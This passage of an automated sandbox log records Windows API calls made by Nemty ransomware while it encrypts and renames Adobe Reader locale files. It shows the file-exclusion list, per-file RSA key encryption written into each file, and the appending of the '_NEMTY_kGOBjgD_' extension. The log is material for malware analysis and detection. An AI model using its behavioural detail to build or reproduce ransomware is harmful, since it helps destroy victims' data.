returned 0x6348ed8 [0184.671] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\saveasrtf.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.672] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0184.672] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0184.672] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.672] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0184.675] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.675] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0184.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.675] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0184.675] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.675] CloseHandle (hObject=0x2e8) returned 1 [0184.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.675] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\saveasrtf.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\SaveAsRTF.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\saveasrtf.sve._nemty_kgobjgd_")) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.676] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.SVE", cAlternateFileName="")) returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2=".") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="..") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="...") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="windows") returned -1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="rsa") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="NTDETECT.COM") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="ntldr") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="MSDOS.SYS") returned 1 [0184.676] lstrcmpiW (lpString1="Search.SVE", lpString2="IO.SYS") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="boot.ini") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="boot.ini") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="ntuser.dat") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="desktop.ini") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="CONFIG.SYS") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="RECYCLER") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="bootmgr") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="programdata") returned 1 [0184.677] lstrcmpiW (lpString1="Search.SVE", lpString2="appdata") returned 1 [0184.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.677] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SVE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.677] Sleep (dwMilliseconds=0x5) [0184.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ba7b50, dwHighDateTime=0x1d561e8)) [0184.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21ba7b50, dwHighDateTime=0x1d561e8)) [0184.686] GetLastError () returned 0x0 [0184.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.686] GetLastError () returned 0x0 [0184.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.686] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.686] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.687] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.687] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.687] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="wLfL9GSp+uiIEikp3p0rmfzWBjRByzlDOvy/QrBXZSqqt6phVMLt2u+3QpjNNb8G\r\nsKI67jtW8TepLmomkyxo6wEybWAMEgaFNdpuZFpYsZMRoqRYFtJc7iSxKYAnN80+\r\n0uvQrKzNSg9i2XzdMh1/ZwVGMOGniX1gs/6VRIdGO/QDaI0AAg0OBhxYWZKbo4QV\r\npsUP00ZzLkUe/XqnIAK//4RFhcDKNubc39YSAHduqCA+FD8k+oFxIFH7Zkyg6HEt\r\nQUYoRbcivo2ozesM5aKMUcDF5HQRzDls4N65oNbxG/OQofWbqsQTvwdawNh/Pcor\r\nuDtUGSye4M+/OH3WqllwGA==\r\n", pcchString=0x653e5dc) returned 1 [0184.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.687] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Search.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\search.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.687] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23552) returned 1 [0184.687] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5c00) returned 0x6352c48 [0184.687] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.687] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5c00, lpOverlapped=0x0) returned 1 [0184.691] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.691] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5c00, lpOverlapped=0x0) returned 1 [0184.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.692] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0184.692] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.692] CloseHandle (hObject=0x2e8) returned 1 [0184.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.692] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.692] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Search.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\search.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Search.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\search.sve._nemty_kgobjgd_")) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.693] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.693] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c3c6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.SVE", cAlternateFileName="")) returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2=".") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="..") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="...") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="windows") returned -1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="rsa") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="NTDETECT.COM") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="ntldr") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="MSDOS.SYS") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="IO.SYS") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="boot.ini") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="boot.ini") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="ntuser.dat") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="desktop.ini") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="CONFIG.SYS") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="RECYCLER") returned 1 [0184.693] lstrcmpiW (lpString1="SendMail.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.694] lstrcmpiW (lpString1="SendMail.SVE", lpString2="bootmgr") returned 1 [0184.694] lstrcmpiW (lpString1="SendMail.SVE", lpString2="programdata") returned 1 [0184.694] lstrcmpiW (lpString1="SendMail.SVE", lpString2="appdata") returned 1 [0184.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SVE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.694] Sleep (dwMilliseconds=0x5) [0184.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21bcdcb0, dwHighDateTime=0x1d561e8)) [0184.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21bcdcb0, dwHighDateTime=0x1d561e8)) [0184.702] GetLastError () returned 0x0 [0184.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.702] GetLastError () returned 0x0 [0184.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.702] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.702] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.702] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.702] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.702] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 